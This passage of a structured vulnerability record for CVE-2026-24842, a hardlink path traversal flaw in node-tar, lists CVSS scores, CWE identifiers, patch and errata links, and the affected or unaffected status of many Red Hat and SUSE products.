7\",\"defaultStatus\":\"unaffected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"org.uberfire-uberfire-parent\",\"cpes\":[\"cpe:/a:redhat:jboss_enterprise_bpms_platform:7\"]},{\"vendor\":\"Red Hat\",\"product\":\"Red Hat Single Sign-On 7\",\"defaultStatus\":\"unaffected\",\"collectionURL\":\"https://access.redhat.com/downloads/content/package-browser/\",\"packageName\":\"org.keycloak-keycloak-parent\",\"cpes\":[\"cpe:/a:redhat:red_hat_single_sign_on:7\"]}]}],\"metrics\":{\"cvssMetricV31\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N\",\"baseScore\":8.2,\"baseSeverity\":\"HIGH\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"LOW\",\"privilegesRequired\":\"NONE\",\"userInteraction\":\"REQUIRED\",\"scope\":\"CHANGED\",\"confidentialityImpact\":\"HIGH\",\"integrityImpact\":\"LOW\",\"availabilityImpact\":\"NONE\"},\"exploitabilityScore\":2.8,\"impactScore\":4.7},{\"source\":\"0b0ca135-0b70-47e7-9f44-1890c2a1c46c\",\"type\":\"Secondary\",\"cvssData\":{\"version\":\"3.1\",\"vectorString\":\"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N\",\"baseScore\":8.2,\"baseSeverity\":\"HIGH\",\"attackVector\":\"NETWORK\",\"attackComplexity\":\"LOW\",\"privilegesRequired\":\"NONE\",\"userInteraction\":\"REQUIRED\",\"scope\":\"CHANGED\",\"confidentialityImpact\":\"HIGH\",\"integrityImpact\":\"LOW\",\"availabilityImpact\":\"NONE\"},\"exploitabilityScore\":2.8,\"impactScore\":4.7}],\"ssvcV203\":[{\"source\":\"134c704f-9b21-4f2e-91b3-4a467353bcc0\",\"ssvcData\":{\"timestamp\":\"2026-01-28T14:55:08.552380Z\",\"id\":\"CVE-2026-24842\",\"options\":[{\"exploitation\":\"poc\"},{\"automatable\":\"no\"},{\"technicalImpact\":\"partial\"}],\"role\":\"CISA Coordinator\",\"version\":\"2.0.3\"}}]},\"weaknesses\":[{\"source\":\"security-advisories@github.com\",\"type\":\"Secondary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-22\"},{\"lang\":\"en\",\"value\":\"CWE-59\"}]},{\"source\":\"0b0ca135-0b70-47e7-9f44-1890c2a1c46c\",\"type\":\"Secondary\",\"description\":[{\"lang\":\"en\",\"value\":\"CWE-59\"}]}],\"configurations\":[{\"nodes\":[{\"operator\":\"OR\",\"negate\":false,\"cpeMatch\":[{\"vulnerable\":true,\"criteria\":\"cpe:2.3:a:isaacs:tar:*:*:*:*:*:node.js:*:*\",\"versionEndExcluding\":\"7.5.7\",\"matchCriteriaId\":\"BE6D2DB4-4688-4527-B851-2AEAB030313F\"}]}]}],\"references\":[{\"url\":\"https://github.com/isaacs/node-tar/commit/f4a7aa9bc3d717c987fdf1480ff7a64e87ffdb46\",\"source\":\"security-advisories@github.com\",\"tags\":[\"Patch\"]},{\"url\":\"https://github.com/isaacs/node-tar/security/advisories/GHSA-34x7-hfp2-rc4v\",\"source\":\"security-advisories@github.com\",\"tags\":[\"Exploit\",\"Vendor Advisory\"]},{\"url\":\"https://access.redhat.com/errata/RHSA-2026:18480\",\"source\":\"0b0ca135-0b70-47e7-9f44-1890c2a1c46c\"},{\"url\":\"https://access.redhat.com/errata/RHSA-2026:18868\",\"source\":\"0b0ca135-0b70-47e7-9f44-1890c2a1c46c\"},{\"url\":\"https://access.redhat.com/errata/RHSA-2026:2900\",\"source\":\"0b0ca135-0b70-47e7-9f44-1890c2a1c46c\"},{\"url\":\"https://access.redhat.com/errata/RHSA-2026:33371\",\"source\":\"0b0ca135-0b70-47e7-9f44-1890c2a1c46c\"},{\"url\":\"https://access.redhat.com/errata/RHSA-2026:5447\",\"source\":\"0b0ca135-0b70-47e7-9f44-1890c2a1c46c\"},{\"url\":\"https://access.redhat.com/errata/RHSA-2026:6192\",\"source\":\"0b0ca135-0b70-47e7-9f44-1890c2a1c46c\"},{\"url\":\"https://access.redhat.com/security/cve/CVE-2026-24842\",\"source\":\"0b0ca135-0b70-47e7-9f44-1890c2a1c46c\"},{\"url\":\"https://bugzilla.redhat.com/show_bug.cgi?id=2433645\",\"source\":\"0b0ca135-0b70-47e7-9f44-1890c2a1c46c\"},{\"url\":\"https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-24842.json\",\"source\":\"0b0ca135-0b70-47e7-9f44-1890c2a1c46c\"}]}}",
"redhat_vex": {
"aggregate_severity": "Important",
"current_release_date": "2026-07-20T07:42:55+00:00",
"cve": "CVE-2026-24842",
"id": "CVE-2026-24842",
"initial_release_date": "2026-01-28T00:20:13.261000+00:00",
"product_status:fixed": "57",
"product_status:known_affected": "25",
"product_status:known_not_affected": "243",
"source": "Red Hat CSAF VEX",
"status": "final",
"title": "node-tar: tar: node-tar: Arbitrary file creation via path traversal bypass in hardlink security check",
"url": "https://security.access.redhat.com/data/csaf/v2/vex/2026/cve-2026-24842.json",
"version": "3"
},
"suse_vex": {
"aggregate_severity": "important",
"current_release_date": "2026-07-01T03:33:35Z",
"cve": "CVE-2026-24842",
"id": "CVE-2026-24842",
"initial_release_date": "2026-01-30T00:24:47Z",
"product_status:known_not_affected": "235",
"product_status:recommended": "18",
"source": "SUSE CSAF VEX",
"status": "interim",
"title": "SUSE CVE CVE-2026-24842",
"url": "https://ftp.suse.com/pub/projects/security/csaf-vex/cve-2026-24842.json",
"version": "8"
},
"vulnrichment": {
"containers": "{\"adp\": [{\"title\": \"node-tar: tar: node-tar: Arbitrary file creation via path traversal bypass in hardlink security check\", \"metrics\": [{\"other\": {\"type\": \"Red Hat severity rating\", \"content\": {\"value\": \"Important\", \"namespace\": \"https://access.redhat.com/security/updates/classification/\"}}}, {\"format\": \"CVSS\", \"cvssV3_1\": {\"scope\": \"CHANGED\", \"version\": \"3.1\", \"baseScore\": 8.2, \"attackVector\": \"NETWORK\", \"baseSeverity\": \"HIGH\", \"vectorString\": \"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N\", \"integrityImpact\": \"LOW\", \"userInteraction\": \"REQUIRED\", \"attackComplexity\": \"LOW\", \"availabilityImpact\": \"NONE\", \"privilegesRequired\": \"NONE\", \"confidentialityImpact\": \"HIGH\"}}], \"affected\": [{\"cpes\": [\"cpe:/o:redhat:enterprise_linux:10.2\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Enterprise Linux 10\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"0:2.26-7.el10\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": \"linux-sgx\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:enterprise_linux:9\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Enterprise Linux 9\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"0:2.26-7.el9\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": \"linux-sgx\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:jboss_enterprise_application_platform_eus:7.3::el7\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat JBoss Enterprise Application Platform 7.3 EUS for RHEL 7\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"0:7.3.18-3.GA_redhat_00001.1.el7eap\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": \"eap7-wildfly\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:network_observ_optr:1.11::el9\"], \"vendor\": \"Red Hat\", \"product\": \"Network Observability (NETOBSERV) 1.11.2\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"1771227610\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": \"network-observability/network-observability-console-plugin-compat-rhel9\", \"collectionURL\": \"https://catalog.redhat.com/software/containers/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:network_observ_optr:1.11::el9\"], \"vendor\": \"Red Hat\", \"product\": \"Network Observability (NETOBSERV) 1.11.2\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"1771227650\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": \"network-observability/network-observability-console-plugin-rhel9\", \"collectionURL\": \"https://catalog.redhat.com/software/containers/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:openshift_devspaces:3.27::el9\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat OpenShift Dev Spaces 3.27\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"1774448966\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": \"devspaces/code-rhel9\", \"collectionURL\": \"https://catalog.redhat.com/software/containers/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:openshift_devspaces:3.27::el9\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat OpenShift Dev Spaces 3.27\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"1774476526\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": \"devspaces/dashboard-rhel9\", \"collectionURL\": \"https://catalog.redhat.com/software/containers/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:trusted_artifact_signer:1.3::el9\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Trusted Artifact Signer 1.3\", \"versions\": [{\"status\": \"unaffected\", \"version\": \"1773308315\", \"lessThan\": \"*\", \"versionType\": \"rpm\"}], \"packageName\": \"rhtas/rekor-search-ui-rhel9\", \"collectionURL\": \"https://catalog.redhat.com/software/containers/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:cryostat:4\"], \"vendor\": \"Red Hat\", \"product\": \"Cryostat 4\", \"packageName\": \"io.cryostat-cryostat\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"unaffected\"}, {\"cpes\": [\"cpe:/a:redhat:logging:5\"], \"vendor\": \"Red Hat\", \"product\": \"Logging Subsystem for Red Hat OpenShift\", \"packageName\": \"openshift-logging/elasticsearch6-rhel9\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:logging:5\"], \"vendor\": \"Red Hat\", \"product\": \"Logging Subsystem for Red Hat OpenShift\", \"packageName\": \"openshift-logging/elasticsearch-operator-bundle\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:logging:5\"], \"vendor\": \"Red Hat\", \"product\": \"Logging Subsystem for Red Hat OpenShift\", \"packageName\": \"openshift-logging/elasticsearch-proxy-rhel9\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:logging:5\"], \"vendor\": \"Red Hat\", \"product\": \"Logging Subsystem for Red Hat OpenShift\", \"packageName\": \"openshift-logging/elasticsearch-rhel9-operator\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:logging:5\"], \"vendor\": \"Red Hat\", \"product\": \"Logging Subsystem for Red Hat OpenShift\", \"packageName\": \"openshift-logging/kibana6-rhel8\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:logging:5\"], \"vendor\": \"Red Hat\", \"product\": \"Logging Subsystem for Red Hat OpenShift\", \"packageName\": \"openshift-logging/logging-curator5-rhel9\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:multicluster_engine\"], \"vendor\": \"Red Hat\", \"product\": \"Multicluster Engine for Kubernetes\", \"packageName\": \"multicluster-engine/console-mce-rhel8\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"unaffected\"}, {\"cpes\": [\"cpe:/a:redhat:multicluster_engine\"], \"vendor\": \"Red Hat\", \"product\": \"Multicluster Engine for Kubernetes\", \"packageName\": \"multicluster-engine/console-mce-rhel9\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"unaffected\"}, {\"cpes\": [\"cpe:/a:redhat:red_hat_3scale_amp:2\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat 3scale API Management Platform 2\", \"packageName\": \"3scale-amp20/system\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:red_hat_3scale_amp:2\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat 3scale API Management Platform 2\", \"packageName\": \"3scale-amp21/system\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:red_hat_3scale_amp:2\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat 3scale API Management Platform 2\", \"packageName\": \"3scale-amp22/system\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:red_hat_3scale_amp:2\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat 3scale API Management Platform 2\", \"packageName\": \"3scale-amp24/system\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:red_hat_3scale_amp:2\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat 3scale API Management Platform 2\", \"packageName\": \"3scale-amp25/system\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:red_hat_3scale_amp:2\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat 3scale API Management Platform 2\", \"packageName\": \"3scale-amp26/system\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:red_hat_3scale_amp:2\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat 3scale API Management Platform 2\", \"packageName\": \"3scale-amp2/system-rhel7\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:red_hat_3scale_amp:2\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat 3scale API Management Platform 2\", \"packageName\": \"3scale-amp2/system-rhel8\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:red_hat_3scale_amp:2\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat 3scale API Management Platform 2\", \"packageName\": \"3scale-amp2/system-rhel9\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:acm:2\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Advanced Cluster Management for Kubernetes 2\", \"packageName\": \"rhacm2/console-rhel9\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"unaffected\"}, {\"cpes\": [\"cpe:/a:redhat:acm:2\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Advanced Cluster Management for Kubernetes 2\", \"packageName\": \"rhacm2/volsync-operator-bundle\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"unaffected\"}, {\"cpes\": [\"cpe:/a:redhat:acm:2\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Advanced Cluster Management for Kubernetes 2\", \"packageName\": \"rhacm2/volsync-rhel9\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"unaffected\"}, {\"cpes\": [\"cpe:/a:redhat:amq_broker:7\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat AMQ Broker 7\", \"packageName\": \"org.jolokia-jolokia-parent\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"unaffected\"}, {\"cpes\": [\"cpe:/a:redhat:apache_camel_hawtio:4\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat build of Apache Camel - HawtIO 4\", \"packageName\": \"io.hawt-project\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"unaffected\"}, {\"cpes\": [\"cpe:/a:redhat:rhdh:1\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Developer Hub\", \"packageName\": \"rhdh/rhdh-hub-rhel9\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/o:redhat:enterprise_linux:10\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Enterprise Linux 10\", \"packageName\": \"nodejs22\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"unaffected\"}, {\"cpes\": [\"cpe:/o:redhat:enterprise_linux:10\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Enterprise Linux 10\", \"packageName\": \"nodejs24\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"unaffected\"}, {\"cpes\": [\"cpe:/o:redhat:enterprise_linux:10\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Enterprise Linux 10\", \"packageName\": \"tar\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"unaffected\"}, {\"cpes\": [\"cpe:/o:redhat:enterprise_linux:6\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Enterprise Linux 6\", \"packageName\": \"tar\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"unaffected\"}, {\"cpes\": [\"cpe:/o:redhat:enterprise_linux:7\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Enterprise Linux 7\", \"packageName\": \"tar\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"unaffected\"}, {\"cpes\": [\"cpe:/o:redhat:enterprise_linux:8\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Enterprise Linux 8\", \"packageName\": \"grafana\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"unaffected\"}, {\"cpes\": [\"cpe:/o:redhat:enterprise_linux:8\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Enterprise Linux 8\", \"packageName\": \"mozjs60\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"unaffected\"}, {\"cpes\": [\"cpe:/o:redhat:enterprise_linux:8\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Enterprise Linux 8\", \"packageName\": \"nodejs:20/nodejs\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"unaffected\"}, {\"cpes\": [\"cpe:/o:redhat:enterprise_linux:8\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Enterprise Linux 8\", \"packageName\": \"nodejs:22/nodejs\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"unaffected\"}, {\"cpes\": [\"cpe:/o:redhat:enterprise_linux:8\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Enterprise Linux 8\", \"packageName\": \"nodejs:24/nodejs\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"unaffected\"}, {\"cpes\": [\"cpe:/o:redhat:enterprise_linux:8\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Enterprise Linux 8\", \"packageName\": \"tar\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"unaffected\"}, {\"cpes\": [\"cpe:/o:redhat:enterprise_linux:9\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Enterprise Linux 9\", \"packageName\": \"gjs\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"unaffected\"}, {\"cpes\": [\"cpe:/o:redhat:enterprise_linux:9\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Enterprise Linux 9\", \"packageName\": \"grafana\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"unaffected\"}, {\"cpes\": [\"cpe:/o:redhat:enterprise_linux:9\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Enterprise Linux 9\", \"packageName\": \"nodejs:20/nodejs\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"unaffected\"}, {\"cpes\": [\"cpe:/o:redhat:enterprise_linux:9\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Enterprise Linux 9\", \"packageName\": \"nodejs:22/nodejs\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"unaffected\"}, {\"cpes\": [\"cpe:/o:redhat:enterprise_linux:9\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Enterprise Linux 9\", \"packageName\": \"nodejs:24/nodejs\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"unaffected\"}, {\"cpes\": [\"cpe:/o:redhat:enterprise_linux:9\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Enterprise Linux 9\", \"packageName\": \"polkit\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"unaffected\"}, {\"cpes\": [\"cpe:/o:redhat:enterprise_linux:9\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Enterprise Linux 9\", \"packageName\": \"tar\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"unaffected\"}, {\"cpes\": [\"cpe:/a:redhat:jboss_fuse:7\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Fuse 7\", \"packageName\": \"io.apicurio-apicurito\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:jboss_fuse:7\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Fuse 7\", \"packageName\": \"io.hawt-hawtio-online\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:jboss_fuse:7\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Fuse 7\", \"packageName\": \"io.hawt-project\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:jboss_fuse:7\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Fuse 7\", \"packageName\": \"io.syndesis-syndesis-parent\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:hummingbird:1\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Hardened Images\", \"packageName\": \"tar\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"unaffected\"}, {\"cpes\": [\"cpe:/a:redhat:jboss_enterprise_application_platform:7\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat JBoss Enterprise Application Platform 7\", \"packageName\": \"io.hawt-project\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"unaffected\"}, {\"cpes\": [\"cpe:/a:redhat:jboss_enterprise_application_platform:7\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat JBoss Enterprise Application Platform 7\", \"packageName\": \"org.jboss.hal-hal-parent\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"unaffected\"}, {\"cpes\": [\"cpe:/a:redhat:jboss_enterprise_application_platform:8\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat JBoss Enterprise Application Platform 8\", \"packageName\": \"io.hawt-project\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"unaffected\"}, {\"cpes\": [\"cpe:/a:redhat:jboss_enterprise_application_platform:8\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat JBoss Enterprise Application Platform 8\", \"packageName\": \"org.keycloak-keycloak-parent\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"unaffected\"}, {\"cpes\": [\"cpe:/a:redhat:jbosseapxp\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat JBoss Enterprise Application Platform Expansion Pack\", \"packageName\": \"io.hawt-project\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"unaffected\"}, {\"cpes\": [\"cpe:/a:redhat:jbosseapxp\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat JBoss Enterprise Application Platform Expansion Pack\", \"packageName\": \"org.keycloak-keycloak-parent\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"unaffected\"}, {\"cpes\": [\"cpe:/a:redhat:openshift_ai\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat OpenShift AI (RHOAI)\", \"packageName\": \"rhoai/odh-data-science-pipelines-argo-argoexec-rhel8\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"unaffected\"}, {\"cpes\": [\"cpe:/a:redhat:openshift_ai\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat OpenShift AI (RHOAI)\", \"packageName\": \"rhoai/odh-data-science-pipelines-argo-workflowcontroller-rhel8\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"unaffected\"}, {\"cpes\": [\"cpe:/a:redhat:openshift_ai\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat OpenShift AI (RHOAI)\", \"packageName\": \"rhoai/odh-kf-notebook-controller-rhel8\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"unaffected\"}, {\"cpes\": [\"cpe:/a:redhat:openshift_ai\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat OpenShift AI (RHOAI)\", \"packageName\": \"rhoai/odh-notebook-controller-rhel8\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"unaffected\"}, {\"cpes\": [\"cpe:/a:redhat:openshift:4\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat OpenShift Container Platform 4\", \"packageName\": \"openshift4/ose-console-rhel9\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:openshift:4\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat OpenShift Container Platform 4\", \"packageName\": \"rhcos\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:openshift_data_foundation:4\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Openshift Data Foundation 4\", \"packageName\": \"odf4/mcg-core-rhel9\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:openshift_data_foundation:4\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Openshift Data Foundation 4\", \"packageName\": \"odf4/ocs-client-console-rhel9\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:openshift_data_foundation:4\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Openshift Data Foundation 4\", \"packageName\": \"odf4/odf-console-rhel9\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"affected\"}, {\"cpes\": [\"cpe:/a:redhat:openshift_data_foundation:4\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat Openshift Data Foundation 4\", \"packageName\": \"odf4/odf-multicluster-console-rhel9\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"unaffected\"}, {\"cpes\": [\"cpe:/a:redhat:openshift_devspaces:3\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat OpenShift Dev Spaces\", \"packageName\": \"devspaces/code-sshd-rhel9\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"unaffected\"}, {\"cpes\": [\"cpe:/a:redhat:openshift_devspaces:3\"], \"vendor\": \"Red Hat\", \"product\": \"Red Hat OpenShift Dev Spaces\", \"packageName\": \"devspaces/machineexec-rhel9\", \"collectionURL\": \"https://access.redhat.com/downloads/content/package-browser/\", \"defaultStatus\": \"unaffected\"}, {\"cpes\": 